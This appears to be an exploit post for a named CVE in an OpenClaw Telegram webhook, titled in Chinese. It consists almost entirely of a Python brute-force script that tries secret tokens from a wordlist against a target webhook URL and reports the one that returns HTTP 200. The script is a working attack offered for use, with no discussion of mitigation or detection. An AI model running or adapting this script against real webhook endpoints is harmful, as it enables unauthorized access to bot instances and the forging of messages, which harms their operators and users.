CVE-2026-35628 OpenClaw Webhook暴力破解漏洞

import requests # Target configuration target_url = "https://target-openclaw-instance.com/webhook/telegram" secret_token_header = "X-Telegram-Bot-Api-Secret-Token" wordlist_file = "secrets.txt" def brute_force_webhook(): with open(wordlist_file, 'r') as f: for line in f: secret = line.strip() headers = { secret_token_header: secret } # Send a test payload to check authentication payload = {"update_id": 123, "message": {"text": "test"}} try: response = requests.post(target_url, json=payload, headers=headers, timeout=5) # Check for success status codes (e.g., 200 OK) vs unauthorized (401/403) if response.status_code == 200: print(f"[+] Success! Secret found: {secret}") return else: print(f"[-] Failed: {secret} (Status: {response.status_code})") except Exception as e: print(f"[!] Error with {secret}: {e}") if __name__ == "__main__": brute_force_webhook()